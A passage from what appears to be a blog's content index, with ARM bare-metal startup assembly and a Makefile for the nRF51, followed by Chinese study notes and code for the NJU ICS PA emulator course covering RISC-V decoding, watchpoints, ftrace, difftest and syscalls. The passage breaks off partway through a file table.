=__tbss_start__ ldr r2, =__tbss_end__ bl clear_region ldr r1, =__sbss_start__ ldr r2, =__sbss_end__ bl clear_region b clear_bss_done/* Method that clears default-0 registers */clear_region: movs r0, 0 subs r2, r2, r1 ble .L_clear_region_done.L_clear_region: subs r2, r2, #4 str r0, [r1, r2] bgt .L_clear_region.L_clear_region_done: bx lrclear_bss_done:#endif /* __STARTUP_CLEAR_BSS *//* Execute SystemInit function. */ bl SystemInit/* Call _start function provided by libraries. * If those libraries are not accessible, define __START as your entry point. */#ifndef __START#define __START _start#endif bl __START .pool .size Reset_Handler,.-Reset_Handler .section \".text\"/* Dummy Exception Handlers (infinite loops which can be modified) */ .weak NMI_Handler .type NMI_Handler, %functionNMI_Handler: b . .size NMI_Handler, . - NMI_Handler .weak HardFault_Handler .type HardFault_Handler, %functionHardFault_Handler: b . .size HardFault_Handler, . - HardFault_Handler .weak SVC_Handler .type SVC_Handler, %functionSVC_Handler: b . .size SVC_Handler, . - SVC_Handler .weak PendSV_Handler .type PendSV_Handler, %functionPendSV_Handler: b . .size PendSV_Handler, . - PendSV_Handler .weak SysTick_Handler .type SysTick_Handler, %functionSysTick_Handler: b . .size SysTick_Handler, . - SysTick_Handler/* IRQ Handlers */ .globl Default_Handler .type Default_Handler, %functionDefault_Handler: b . .size Default_Handler, . - Default_Handler .macro IRQ handler .weak \\handler .set \\handler, Default_Handler .endm IRQ POWER_CLOCK_IRQHandler IRQ RADIO_IRQHandler IRQ UART0_IRQHandler IRQ SPI0_TWI0_IRQHandler IRQ SPI1_TWI1_IRQHandler IRQ GPIOTE_IRQHandler IRQ ADC_IRQHandler IRQ TIMER0_IRQHandler IRQ TIMER1_IRQHandler IRQ TIMER2_IRQHandler IRQ RTC0_IRQHandler IRQ TEMP_IRQHandler IRQ RNG_IRQHandler IRQ ECB_IRQHandler IRQ CCM_AAR_IRQHandler IRQ WDT_IRQHandler IRQ RTC1_IRQHandler IRQ QDEC_IRQHandler IRQ LPCOMP_IRQHandler IRQ SWI0_IRQHandler IRQ SWI1_IRQHandler IRQ SWI2_IRQHandler IRQ SWI3_IRQHandler IRQ SWI4_IRQHandler IRQ SWI5_IRQHandler .end\nAll the symbol above would be defined at a linker script(.ld).\nMakefile\nAfter everything prepared, use simply a makefile to complie.\nTARGET = mainCC = arm-none-eabi-gccOBJCOPY = arm-none-eabi-objcopySRC = main.c \\ $(wildcard nrfx/drivers/src/*.c) \\ nrfx/mdk/gcc_startup_nrf51.SINCLUDES = -I. -Inrfx -Inrfx/mdk -Inrfx/hal -Inrfx/templates -Inrfx/drivers/includeCFLAGS = -mcpu=cortex-m0 -mthumb -Wall -O0 -g -DNRF51 -DNRF51822_XXAA $(INCLUDES)LDFLAGS = -T nrf51822_xxaa.ld -nostartfilesOBJ := $(SRC:.c=.o)OBJ := $(OBJ:.S=.o)all: $(TARGET).elf%.o: %.c $(CC) $(CFLAGS) -c $< -o $@%.o: %.S $(CC) $(CFLAGS) -c $< -o $@$(TARGET).elf: $(OBJ) $(CC) $(CFLAGS) $(LDFLAGS) $^ -o $@bin: $(TARGET).elf $(OBJCOPY) -O binary $< $(TARGET).binclean: rm -f $(OBJ) $(TARGET).elf $(TARGET).bin\nReferences\n\n\n\nNRF51_Series_Reference_Manual_v2.1.pdf↩︎\nArmv6-M\nArchitecture Reference Manual↩︎\n\n\n","categories":["Pwn"],"tags":["QEMU","ARM","bare metal"]},{"title":"NJU ICS PA 一些笔记","url":"/categories/Study/nju-ics-pa/","content":"Do you know\n本人代码水平拙劣🥲,实现部分仅供参考\n\n\n南京大学\n计算机科学与技术系 计算机系统基础 课程实验 2024\nPA1 - 开天辟地的篇章\nRTFSC\n文件:nemu/src/monitor/sdb/sdb.c\n原因:退出时 nemu_state.state 不是 “正常” 的\n解决办法:\nstatic int cmd_q(char *args) { nemu_state.state = NEMU_QUIT; return -1;}\n监视点\n基本框架\n添加 w <expr> 和 d <index> 命令,来添加和删除监视点。\n并且需要实现监视点池中链表的维护,监视点表达式的计算。\n为了提高 NEMU 的性能,提供监视点功能的开关选项。\n链表维护\n监视点池中涉及监视点链表和空闲链表,通过 init_wp_pool() 来对其初始化。\nvoid init_wp_pool() { int i; for (i = 0; i < NR_WP; i ++) { wp_pool[i].NO = i; wp_pool[i].next = (i == NR_WP - 1 ? NULL : &wp_pool[i + 1]); } head = NULL; free_ = wp_pool;}\n接着,通过 new_wp() 和 free_wp() 实现监视点的管理\nint new_wp(char* args){ WP *p=NULL,*q=NULL; if (free_==NULL) { printf(\"Watchpoints Limit\"); return -1; } p=free_; bool success=1; p->result = expr(args,&success); if (!success)return -1; p->expr = strdup(args); free_=free_->next; if (head!=NULL) { q=head; while (q->next!=NULL)q=q->next; q->next=p; return 1; } head=p; head->next=NULL; return 1;}\nvoid free_wp(int no){ if (head==NULL) { printf(\"Watchpoint %d not found.\\n\",no); return; } if (head->NO==no) { WP *wp=head; head=wp->next; wp->next=free_; free_=wp; return; } WP *p=NULL; if (head!=NULL) { p=head; while (1){ if (p->next->NO==no){ WP *wp=p->next; p->next=wp->next; wp->next=free_; free_=wp; return; } if (p->next==NULL) { printf(\"Watchpoint %d not found.\\n\",no); return; } p=p->next; } }}\n监视点求值\n为了判断监视点的值是否发生变化,还需要在结构体中添加一个成员来记录。然后通过 check_expr() 来求值和判断变化。\nbool check_expr(){ bool changed=false; if (head==NULL)return 0; WP *p; bool success=true; p=head; word_t result = expr(p->expr,&success); if (result!=p->result && success) { printf(\"Watchpoint %d changed at 0x%x.\\n\",p->NO,cpu.pc); changed=true; } if (changed)return 1; return 0;}\n如何阅读手册\n程序是个状态机\n对于计算 1+2+...+100 的程序的状态机,它是确定性的。\n(0, x, x) -> (1, 0, x) -> (2, 0, 0) -> (3, 0, 1) -> (4, 1, 1) -> (5, 1, 2) -> (6, 3, 2) -> ... -> (199,4851, 99) -> (200, 4950, 99) -> (201, 4950, 100) -> (202, 5050, 100)\n理解基础设施\n不必多说,使用过调试器的话肯定有所体会。\nRTFM\nriscv32 有哪几种指令格式?\nThere are four core instruction formats.\nRegister-Type, Immediate-Type, Store-Type, Upper Immediate-Type.\nLUI 指令的行为是什么?\nLUI (load upper immediate) is used to build 32-bit constants and uses\nthe U-type format. LUI places the 32-bit U-immediate value into the\ndestination register rd, filling in the lowest 12 bits with zeros.\n\n\nLUI\n\nmstatus 寄存器的结构是怎么样的?\nThe mstatus (Machine Status) register is an MXLEN-bit read/write\nregister formatted as shown in figures below. It's a Control and\nStatus Register.\n为什么要使用 -Wall 和 -Werror?\nAt section 3.9, we found that:\n-Werror Turn all warnings into errors.\n-Wall This enables all the warnings about constructions\nthat some users consider questionable, and that are easy to avoid (or\nmodify to prevent the warning), even in conjunction with macros. This\nalso enables some language-specific warnings.\nTo add these options, we can leverage compilers to identify potential\nissues in our programs.\nshell 命令\n使用 find . -type f \\( -name \"*.c\" -o -name \"*.h\" \\) -print0 | xargs -0 wc -l 来统计行数\n由于我环境经历了多次迁移,似乎把 git 弄坏了(\n不过毕竟我没有提交作业的需求,就不注意这些细节了\nPA2 - 简单复杂的机器\n不停计算的机器\n画出在 YEMU 上执行的加法程序的状态机\n类似地,使用一个 6 元组来分别表示 PC, R [0], R [1], M [x], M [y], M [z].\n(0, 0, 0, x, y ,0) -> (1, y, 0, x, y, 0) -> (2, y, y, x, y, 0) -> (3, x, y , x, y, 0) -> (4, x+y, y, x, y, 0) -> (5, x+y, y, x, y, x+y)\nRTFSC(2)\n立即数背后的故事\n1. 假设我们需要将 NEMU 运行在 Motorola\n68k 的机器上 (把 NEMU 的源代码编译成 Motorola 68k 的机器码)\n此时读取的字节序列会被解释为大端序的,如果在二进制文件中以小端序存储,可能会导致问题。\n2. 假设我们需要把 Motorola 68k 作为一个新的 ISA 加入到 NEMU 中\n我们需要正确模拟大端序对应的存储结构与解释方式。\n立即数背后的故事 (2)\n在 RISC-V32 中,一般使用分部加载的方式:\n通过 lui 加载高 20 位,addi 加载低 12 位\nlui x10, 0x0D000addi x10, x10, 0x721\nauipc 的执行过程\nQEMU 内建的第一条指令,正是 auipc\n0x00000297, // auipc t0,0\n在 QEMU 运行过程中,首先调用 exec_once() 来进入相应的处理流程。\nstatic void exec_once(Decode *s, vaddr_t pc) { s->pc = pc; s->snpc = pc; isa_exec_once(s); cpu.pc = s->dnpc; //some macros...}\n传入的 Decode 是一个包含与 PC 有关变量的结构体\ntypedef struct Decode { vaddr_t pc; vaddr_t snpc; // static next pc vaddr_t dnpc; // dynamic next pc ISADecodeInfo isa; IFDEF(CONFIG_ITRACE, char logbuf[128]);} Decode;\n然后调用 isa_exec_once(s),对于不同的架构,具体的定义不同。\ninstruction fetch\n在 risc-v32 的实现中,代码如下\nint isa_exec_once(Decode *s) { s->isa.inst = inst_fetch(&s->snpc, 4); return decode_exec(s);}\n具体的过程又涉及到 vaddr_read() 和 paddr_read(),处理 mmio 地址和 pmem 地址,物理内存上使用 host_read() 读取主机内存上的不同长度字节。\ninstruction decode\n完成取指调用的一系列函数后,isa_exec_once() 会返回 decode_exec(s)\n将指令与相应的模式匹配\nstatic int decode_exec(Decode *s) { s->dnpc = s->snpc;#define INSTPAT_INST(s) ((s)->isa.inst)#define INSTPAT_MATCH(s, name, type, ... /* execute body */ ) { \\ int rd = 0; \\ word_t src1 = 0, src2 = 0, imm = 0; \\ decode_operand(s, &rd, &src1, &src2, &imm, concat(TYPE_, type)); \\ __VA_ARGS__ ; \\} INSTPAT_START(); INSTPAT(\"??????? ????? ????? ??? ????? 00101 11\", auipc , U, R(rd) = s->pc + imm); INSTPAT(\"??????? ????? ????? 100 ????? 00000 11\", lbu , I, R(rd) = Mr(src1 + imm, 1)); INSTPAT(\"??????? ????? ????? 000 ????? 01000 11\", sb , S, Mw(src1 + imm, 1, src2)); INSTPAT(\"0000000 00001 00000 000 00000 11100 11\", ebreak , N, NEMUTRAP(s->pc, R(10))); // R(10) is $a0 INSTPAT(\"??????? ????? ????? ??? ????? ????? ??\", inv , N, INV(s->pc)); INSTPAT_END(); R(0) = 0; // reset $zero to 0 return 0;}\n其中,auipc 对应的 (U-Type) 格式如下:\n\n\nAUIPC\n\nexecute\nQEMU 在宏中定义了 auipc 的具体行为:\nINSTPAT(\"??????? ????? ????? ??? ????? 00101 11\", auipc , U, R(rd) = s->pc + imm);\npattern_decode()中的宏处理了格式字符串:\nstatic inline void pattern_decode(const char *str, int len, uint64_t *key, uint64_t *mask, uint64_t *shift) { uint64_t __key = 0, __mask = 0, __shift = 0;#define macro(i) \\ if ((i) >= len) goto finish; \\ else { \\ char c = str[i]; \\ if (c != ' ') { \\ Assert(c == '0' || c == '1' || c == '?', \\ \"invalid character '%c' in pattern string\", c); \\ __key = (__key << 1) | (c == '1' ? 1 : 0); \\ __mask = (__mask << 1) | (c == '?' ? 0 : 1); \\ __shift = (c == '?' ? __shift + 1 : 0); \\ } \\ }#define macro2(i) macro(i); macro((i) + 1)#define macro4(i) macro2(i); macro2((i) + 2)#define macro8(i) macro4(i); macro4((i) + 4)#define macro16(i) macro8(i); macro8((i) + 8)#define macro32(i) macro16(i); macro16((i) + 16)#define macro64(i) macro32(i); macro32((i) + 32) macro64(0);//宏展开,遍历了6位二进制数0b000000的任意取值 panic(\"pattern too long\");#undef macrofinish: *key = __key >> __shift; *mask = __mask >> __shift; *shift = __shift;}\n运行第一个 C 程序\n我们需要在此部分实现的指令有 lui, addi,\njal, jalr.\n按照 RISC-V 手册实现即可。\n需要注意不同指令对待操作数的符号和截断处理。\n指令名对照\n方法很多,可以根据 opcode 段查询。\n程序, 运行时环境与 AM\n运行时环境\n要求实现 sprintf() 等等库函数,可以参考 glibc 或者 STFW.\nRTFSC(3)\n对各个 section 的定义如下\n//abstract-machine/scripts/linker.ldENTRY(_start)PHDRS { text PT_LOAD; data PT_LOAD; }SECTIONS { /* _pmem_start and _entry_offset are defined in LDFLAGS */ . = _pmem_start + _entry_offset; .text : { *(entry) *(.text*) } : text etext = .; _etext = .; .rodata : { *(.rodata*) } .data : { *(.data) } : data edata = .; _data = .; .bss : { _bss_start = .; *(.bss*) *(.sbss*) *(.scommon) } _stack_top = ALIGN(0x1000); . = _stack_top + 0x8000; _stack_pointer = .; end = .; _end = .; _heap_start = ALIGN(0x1000);}\n阅读 Makefile\nCheck environment and arguments:\n### Override checks when `make clean/clean-all/html`ifeq ($(findstring $(MAKECMDGOALS),clean|clean-all|html),)### Print build info message$(info # Building $(NAME)-$(MAKECMDGOALS) [$(ARCH)])//...### Check: environment variable `$ARCH` must be in the supported listARCHS = $(basename $(notdir $(shell ls $(AM_HOME)/scripts/*.mk)))ifeq ($(filter $(ARCHS), $(ARCH)), ) $(error Expected $$ARCH in {$(ARCHS)}, Got \"$(ARCH)\")endif### Checks end hereendif\nInclude AM makefile specified by $(ARCH):\n-include $(AM_HOME)/scripts/$(ARCH).mk\n in $(ARCH).mk,\n it includes nemu.mk, which builds NEMU related driver\nand runs NEMU.\n it also includes another arch related .mk that overwrites\nARCH_H.\ninclude $(AM_HOME)/scripts/isa/riscv.mkinclude $(AM_HOME)/scripts/platform/nemu.mkCFLAGS += -DISA_H=\\\"riscv/riscv.h\\\"AM_SRCS += riscv/nemu/start.S \\ riscv/nemu/cte.c \\ riscv/nemu/trap.S \\ riscv/nemu/vme.c\nDefine compilation rule:\n## 5. Compilation Rules### Rule (compile): a single `.c` -> `.o` (gcc)$(DST_DIR)/%.o: %.c @mkdir -p $(dir $@) && echo + CC $< @$(CC) -std=gnu11 $(CFLAGS) -c -o $@ $(realpath $<)### Rule (compile): a single `.cc` -> `.o` (g++)$(DST_DIR)/%.o: %.cc @mkdir -p $(dir $@) && echo + CXX $< @$(CXX) -std=c++17 $(CXXFLAGS) -c -o $@ $(realpath $<)### Rule (compile): a single `.cpp` -> `.o` (g++)$(DST_DIR)/%.o: %.cpp @mkdir -p $(dir $@) && echo + CXX $< @$(CXX) -std=c++17 $(CXXFLAGS) -c -o $@ $(realpath $<)### Rule (compile): a single `.S` -> `.o` (gcc, which preprocesses and calls as)$(DST_DIR)/%.o: %.S @mkdir -p $(dir $@) && echo + AS $< @$(AS) $(ASFLAGS) -c -o $@ $(realpath $<)### Rule (recursive make): build a dependent library (am, klib, ...)$(LIBS): %: @$(MAKE) -s -C $(AM_HOME)/$* archive### Rule (link): objects (`*.o`) and libraries (`*.a`) -> `IMAGE.elf`, the final ELF binary to be packed into image (ld)$(IMAGE).elf: $(LINKAGE) $(LDSCRIPTS) @echo \\# Creating image [$(ARCH)] @echo + LD \"->\" $(IMAGE_REL).elfifneq ($(filter $(ARCH),native),) @$(CXX) -o $@ -Wl,--whole-archive $(LINKAGE) -Wl,-no-whole-archive $(LDFLAGS_CXX)else @$(LD) $(LDFLAGS) -o $@ --start-group $(LINKAGE) --end-groupendif### Rule (archive): objects (`*.o`) -> `ARCHIVE.a` (ar)$(ARCHIVE): $(OBJS) @echo + AR \"->\" $(shell realpath $@ --relative-to .) @$(AR) rcs $@ $^### Rule (`#include` dependencies): paste in `.d` files generated by gcc on `-MMD`-include $(addprefix $(DST_DIR)/, $(addsuffix .d, $(basename $(SRCS))))\nBuild the project in order below\nimage: image-deparchive: $(ARCHIVE)image-dep: $(LIBS) $(IMAGE).elf.NOTPARALLEL: image-dep.PHONY: image image-dep archive run $(LIBS)\n# Building add-run [riscv64-nemu]# Building am-archive [riscv64-nemu]# Building klib-archive [riscv64-nemu]+ CC tests/add.c# Creating image [riscv64-nemu]+ LD -> build/add-riscv64-nemu.elf+ OBJCOPY -> build/add-riscv64-nemu.bin\n实现常用的库函数\nstdarg 是如何实现的?\n在\n参考 GNU/gcc-15.2.0 中 i386 的实现:\n计算固定参数的大小\n//gcc-15.2.0/gcc/config/i386/i386.cc /* Count number of gp and fp argument registers used. */ words = crtl->args.info.words; n_gpr = crtl->args.info.regno; n_fpr = crtl->args.info.sse_regno; if (cfun->va_list_gpr_size) { type = TREE_TYPE (gpr); t = build2 (MODIFY_EXPR, type, gpr, build_int_cst (type, n_gpr * 8)); TREE_SIDE_EFFECTS (t) = 1; expand_expr (t, const0_rtx, VOIDmode, EXPAND_NORMAL); } if (TARGET_SSE && cfun->va_list_fpr_size) { type = TREE_TYPE (fpr); t = build2 (MODIFY_EXPR, type, fpr, build_int_cst (type, n_fpr * 16 + 8*X86_64_REGPARM_MAX)); TREE_SIDE_EFFECTS (t) = 1; expand_expr (t, const0_rtx, VOIDmode, EXPAND_NORMAL); }\n处理栈上的 overflow area, register save area.\n /* Find the overflow area. */ type = TREE_TYPE (ovf); if (cfun->machine->split_stack_varargs_pointer == NULL_RTX) ovf_rtx = crtl->args.internal_arg_pointer; else ovf_rtx = cfun->machine->split_stack_varargs_pointer; t = make_tree (type, ovf_rtx); if (words != 0) t = fold_build_pointer_plus_hwi (t, words * UNITS_PER_WORD); t = build2 (MODIFY_EXPR, type, ovf, t); TREE_SIDE_EFFECTS (t) = 1; expand_expr (t, const0_rtx, VOIDmode, EXPAND_NORMAL); if (ix86_varargs_gpr_size || ix86_varargs_fpr_size) { /* Find the register save area. Prologue of the function save it right above stack frame. */ type = TREE_TYPE (sav); t = make_tree (type, frame_pointer_rtx); if (!ix86_varargs_gpr_size)t = fold_build_pointer_plus_hwi (t, -8 * X86_64_REGPARM_MAX); t = build2 (MODIFY_EXPR, type, sav, t); TREE_SIDE_EFFECTS (t) = 1; expand_expr (t, const0_rtx, VOIDmode, EXPAND_NORMAL); }\n基础设施 (2)\n指令环形缓冲区 - iringbuf\n实现一个环形缓冲区,每次执行指令时写入即可\ntypedef struct{ char buf[10][128]; int head; int tail;} LogRingbuf;IFDEF(CONFIG_ITRACE, LogRingbuf ringbuf);void ringbuf_push(LogRingbuf *r, const char* log) { strcpy(r->buf[r->head], log); r->head = (r->head+1) % 10; if(r->head == r->tail) r->tail = (r->tail+1) % 10;}void ringbuf_puts(LogRingbuf *r) { for(int i = r->tail; i!=r->head; i = (i+1)%10) { printf(\"%s\\n\", r->buf[i]); }}\n函数调用的踪迹 - ftrace\n偷懒了,并没有完全实现(\n先读取传入的 ELF:\n#include <common.h>#include <elf.h>#include <stdio.h>#include <stdlib.h>#include <string.h>void init_ftrace(const char* elf) { Elf64_Ehdr elf_header; FILE *fp = fopen(elf, \"rb\"); if (fp == NULL) { printf(\"Failed to open file %s\\n\", elf); return; } size_t count = fread(&elf_header, 1, sizeof(Elf64_Ehdr), fp); assert(count == sizeof(Elf64_Ehdr)); parse_symbols(fp, &elf_header);}\n根据 ELF 的结构,我们先读取 Elf64_Ehdr:\n\n\nELF\n\nELF header (Ehdr) The ELF header is described by the type Elf32_Ehdr or Elf64_Ehdr: #define EI_NIDENT 16 typedef struct { unsigned char e_ident[EI_NIDENT]; uint16_t e_type; uint16_t e_machine; uint32_t e_version; ElfN_Addr e_entry; ElfN_Off e_phoff; ElfN_Off e_shoff; uint32_t e_flags; uint16_t e_ehsize; uint16_t e_phentsize; uint16_t e_phnum; uint16_t e_shentsize; uint16_t e_shnum; uint16_t e_shstrndx; } ElfN_Ehdr;\n解析具体的符号表,并维护一个单向链表:\nvoid parse_symbols(FILE *fp, Elf64_Ehdr *elf_header) { Elf64_Shdr *sh_table = malloc(elf_header->e_shnum * sizeof(Elf64_Shdr)); fseek(fp, elf_header->e_shoff, SEEK_SET); size_t ret = fread(sh_table, sizeof(Elf64_Shdr), elf_header->e_shnum, fp); assert(ret == elf_header->e_shnum); Elf64_Shdr *symtab_shdr = NULL; Elf64_Shdr *strtab_shdr = NULL; for (int i = 0; i < elf_header->e_shnum; i++) { if (sh_table[i].sh_type == SHT_SYMTAB) { symtab_shdr = &sh_table[i]; if (symtab_shdr->sh_link < elf_header->e_shnum) { strtab_shdr = &sh_table[symtab_shdr->sh_link]; } break; } } if (!symtab_shdr || !strtab_shdr) { printf(\"Symbol table or string table not found.\\n\"); free(sh_table); return; } Elf64_Sym *sym_table = malloc(symtab_shdr->sh_size); fseek(fp, symtab_shdr->sh_offset, SEEK_SET); ret = fread(sym_table, symtab_shdr->sh_size, 1, fp); assert(ret == 1); char *strtab = malloc(strtab_shdr->sh_size); fseek(fp, strtab_shdr->sh_offset, SEEK_SET); ret = fread(strtab, strtab_shdr->sh_size, 1, fp); assert(ret == 1); int num_symbols = symtab_shdr->sh_size / sizeof(Elf64_Sym); //printf(\"Parsing %d symbols...\\n\", num_symbols); for (int i = 0; i < num_symbols; i++) { const char *symbol_name = &strtab[sym_table[i].st_name]; Elf64_Addr symbol_addr = sym_table[i].st_value; unsigned char symbol_type = ELF64_ST_TYPE(sym_table[i].st_info); if (symbol_type == STT_FUNC) {// printf(\"Found function: %s at address 0x%lx\\n\", symbol_name, symbol_addr); ftrace_append(symbol_name, symbol_addr); } } free(sh_table); free(sym_table); free(strtab);}\nSection header 中存放了各个 section 的信息\nSection header (Shdr) A file's section header table lets one locate all the file's sections. The section header table is an array of Elf32_Shdr or Elf64_Shdr structures. The ELF header's e_shoff member gives the byte offset from the beginning of the file to the section header table. e_shnum holds the number of entries the section header table contains. e_shentsize holds the size in bytes of each entry. A section header table index is a subscript into this array. Some section header table indices are reserved: the initial entry and the indices between SHN_LORESERVE and SHN_HIRESERVE. The initial entry is used in ELF extensions for e_phnum, e_shnum, and e_shstrndx; in other cases, each field in the initial entry is set to zero. An object file does not have sections for these special indices: SHN_UNDEF This value marks an undefined, missing, irrelevant, or otherwise meaningless section reference. SHN_LORESERVE This value specifies the lower bound of the range of reserved indices. SHN_LOPROC SHN_HIPROC Values greater in the inclusive range [SHN_LOPROC, SHN_HIPROC] are reserved for processor-specific semantics. SHN_ABS This value specifies the absolute value for the corresponding reference. For example, a symbol defined relative to section number SHN_ABS has an ab‐ solute value and is not affected by relocation. SHN_COMMON Symbols defined relative to this section are common symbols, such as FORTRAN COMMON or unallocated C external variables. SHN_HIRESERVE This value specifies the upper bound of the range of reserved indices. The system reserves indices between SHN_LORESERVE and SHN_HIRESERVE, inclu‐ sive. The section header table does not contain entries for the reserved indices.\nElf64_Sym 的定义如下:\n String and symbol tables String table sections hold null-terminated character sequences, commonly called strings. The ob‐ ject file uses these strings to represent symbol and section names. One references a string as an index into the string table section. The first byte, which is index zero, is defined to hold a null byte ('\\0'). Similarly, a string table's last byte is defined to hold a null byte, ensur‐ ing null termination for all strings. An object file's symbol table holds information needed to locate and relocate a program's sym‐ bolic definitions and references. A symbol table index is a subscript into this array.typedef struct { uint32_t st_name; //This member holds an index into the object file's symbol string table, which holds character representations of the symbol names. If the value is nonzero, it represents a string table index that gives the symbol name. Otherwise, the symbol has no name. unsigned char st_info; unsigned char st_other; uint16_t st_shndx; Elf64_Addr st_value; uint64_t st_size; } Elf64_Sym;\n后面遇到 jal 等跳转指令查找这个链表,计算偏移就可以了。\nDifferential Testing\n框架已经实现好了相应的接口,实现一下比较寄存器的值\nbool isa_difftest_checkregs(CPU_state *ref_r, vaddr_t pc) { bool ok = true;for(int i=0;i<32;i++) { if(ref_r->gpr[i] != cpu.gpr[i]) { printf(\"\\n [difftest] inequal reg value in %s: 0x%lx\\n\", regs[i], ref_r->gpr[i]); ok = false; }} if(ref_r->pc != cpu.pc) { printf(\"\\n [difftest] inequal pc: 0x%lx\\n\",ref_r->pc); ok = false; } return ok;}\n输入输出\n实现需要的 IOE 功能都比较简单,这里在跑 microbench 的时候遇到了一个比较怪的问题。\ndifftest 提示 $PC 不一样,\n后面发现是指令实现时对符号的处理出现了问题, 这是很值得注意的.\nPA3 - 穿越时空的旅程:\n批处理系统\n穿越时空的旅程\n为了实现异常机制, 我们向状态机引入了如下的新状态:\ntypedef struct { word_t gpr[MUXDEF(CONFIG_RVE, 16, 32)]; vaddr_t pc; word_t mepc; word_t mcause; word_t priv; word_t mtvec; union { struct { uint32_t UIE : 1, SIE : 1, WPRI_0 : 1, MIE : 1; uint32_t UPIE : 1, SPIE : 1, WPRI : 1, MPIE : 1; uint32_t SPP : 1, WPRI_1_2 : 2, MPP : 2, FS : 2; uint32_t XS : 2, MPRV : 1, SUM : 1, MXR : 1; uint32_t TVM : 1, TW : 1, TSR : 1, WPRI_3_10 : 8, SD : 1; } part; word_t val; } mstatus;} MUXDEF(CONFIG_RV64, riscv64_CPU_state, riscv32_CPU_state);\n实现异常响应机制\n实现异常响应操作:\nword_t isa_raise_intr(word_t NO, vaddr_t epc) { cpu.mepc = epc; cpu.mcause = NO; return cpu.mtvec;}\n目前所需的异常处理涉及以下的四条指令:csrrw,\ncsrrs, ecall, mret\nINSTPAT(\"??????? ????? ????? 001 ????? 11100 11\", csrrw , I, R(rd) = CSR(imm); CSR(imm) = src1);INSTPAT(\"??????? ????? ????? 010 ????? 11100 11\", csrrs , I, R(rd) = CSR(imm); CSR(imm) |= src1);INSTPAT(\"0000000 00000 00000 000 00000 11100 11\", ecall , I, s->dnpc = isa_raise_intr(11, s->pc));INSTPAT(\"0011000 00010 00000 000 00000 11100 11\", mret , I, s->dnpc = cpu.mepc);\nCSR 寄存器与序号的对应关系可以在 The RISC-V Instruction Set Manual:\nVolume II 找到.\n#define CSR(i) *csr_register(i)static vaddr_t *csr_register(word_t imm) { switch (imm) { case 0x341: return &(cpu.mepc); case 0x342: return &(cpu.mcause); case 0x300: return &(cpu.mstatus.val); case 0x305: return &(cpu.mtvec); default: panic(\"Unknown csr\"); }}\n让 DiffTest 支持异常响应机制\n#include <isa.h>word_t isa_raise_intr(word_t NO, vaddr_t epc) { cpu.mepc = epc; cpu.mcause = NO;+ cpu.mstatus.val = 0xa00001800; return cpu.mtvec;}\n我们需要先在 ref_r 以及 diff_context_t 中引入异常寄存器:\nstruct diff_context_t { word_t gpr[MUXDEF(CONFIG_RVE, 16, 32)]; word_t pc; word_t mepc; word_t mcause; word_t mtvec; word_t mstatus;};typedef struct { word_t gpr[MUXDEF(CONFIG_RVE, 16, 32)]; vaddr_t pc; word_t mepc; word_t mcause; word_t mtvec; word_t mstatus;} MUXDEF(CONFIG_RV64, riscv64_CPU_state, riscv32_CPU_state);\n接着在 difftest.cc 中添加相关支持\nvoid sim_t::diff_get_regs(void* diff_context) { struct diff_context_t* ctx = (struct diff_context_t*)diff_context; for (int i = 0; i < NR_GPR; i++) { ctx->gpr[i] = state->XPR[i]; } ctx->pc = state->pc; ctx->mepc = state->mepc->read(); ctx->mcause = state->mcause->read(); ctx->mtvec = state->mtvec->read(); ctx->mstatus = state->mstatus->read();}\n事实上, 由于 NEMU 上的异常机制实现并不完整,\n直接使用 DiffTest 和 spike 比较会产生问题.\n我们可以选择忽略 mstatus:\ncpu.mstatus = ref_r->mstatus;\n恢复上下文\n\n不过这里需要注意之前自陷指令保存的 PC, 对于 x86 的 int 指令,\n保存的是指向其下一条指令的 PC, 这有点像函数调用;\n而对于 mips32 的 syscall 和 riscv32 的 ecall,\n保存的是自陷指令的 PC, 因此软件需要在适当的地方对保存的 PC 加上 4,\n使得将来返回到自陷指令的下一条指令.\n\n啊.. 因为没有对 $pc+4,\n导致我一直在调试为什么程序会循环调用自陷操作😢\n用户程序和系统调用\n加载第一个用户程序\n需要理清楚 ELF 文件是怎么被解析和加载的,\n然后利用 ramdisk 相关的 api 将其加载到内存中\n系统调用\n从 navy-apps 的源码中可以知道它是怎么进行 syscall 的,\n然后在 nanos-lite 中添加相应的处理. 这里还故意漏掉了一些 GPR 的宏定义,\n需要 RTFSC 去补充.\n在 Nanos-lite 上运行 Hello\nworld\n听起来只要像 SYS_exit 一样实现 SYS_write 就行了,\n但是如果有所疏忽的话, 可能会遇到程序一直打印同一个字符的问题.\n一开始我以为是 $pc 相关的操作没做好,\n后来查阅资料才发现 printf() 会根据 write() 的返回值做出不同操作: )\nhello 程序是什么,\n它从而何来, 要到哪里去\n虽然这似乎是一道挺重要的必答题,\n但是我不太确定自己能否答好.\n首先 hello.c 编译好之后会被打包进 ramdisk.img 中,\n我们在约定的地址上开始对它进行解析, 而加载的目标地址、栈结构,\n这些都已经被提前约定好了, 暂时不需要操作系统去考虑.\nprintf() 会根据 newlib 中的实现,\n从我们实现的 SYS_write 中输出字符.\nSYS_write 本身的实现, 回到了 AM 中的 putch 宏.\n在 AM 中, 它又变成了最基本的内存操作:\nvoid putch(char ch) { outb(SERIAL_PORT, ch);}static inline void outb(uintptr_t addr, uint8_t data) { *(volatile uint8_t *)addr = data; }\n后续的过程应当在设备实现时就理清楚了吧?(\n简易文件系统\n这块内容我觉得还挺有意思的, 相关实现都放在 fs.c 中.\n框架代码会将 ramdisk 中 (或者说 sfs) 的全部文件元数据在编译时放入一个数组 file_table.\n/* This is the information about all files in disk. */static Finfo file_table[] __attribute__((used)) = { [FD_STDIN] = {\"stdin\", 0, 0, invalid_read, invalid_write}, [FD_STDOUT] = {\"stdout\", 0, 0, invalid_read, invalid_write}, [FD_STDERR] = {\"stderr\", 0, 0, invalid_read, invalid_write},#include \"files.h\"};// -- file.h --// file path, file size, offset in disk{\"/share/music/rhythm/Do.ogg\", 6473, 0},{\"/share/music/rhythm/Si.ogg\", 6647, 6473},{\"/share/music/rhythm/So.ogg\", 6538, 13120},{\"/share/music/rhythm/Mi.ogg\", 6611, 19658},{\"/share/music/rhythm/La.ogg\", 6542, 26269},{\"/share/music/rhythm/Fa.ogg\", 6625, 32811},{\"/share/music/rhythm/Re.ogg\", 6503, 39436},{\"/share/music/rhythm/empty.ogg\", 4071, 45939},{\"/share/music/little-star.ogg\", 140946, 50010},{\"/share/files/num\", 5000, 190956},{\"/share/pictures/projectn.bmp\", 49290, 195956},{\"/share/fonts/Courier-13.bdf\", 25677, 245246},{\"/share/fonts/Courier-9.bdf\", 20488, 270923},{\"/share/fonts/Courier-11.bdf\", 23272, 291411},{\"/share/fonts/Courier-10.bdf\", 21440, 314683},{\"/share/fonts/Courier-8.bdf\", 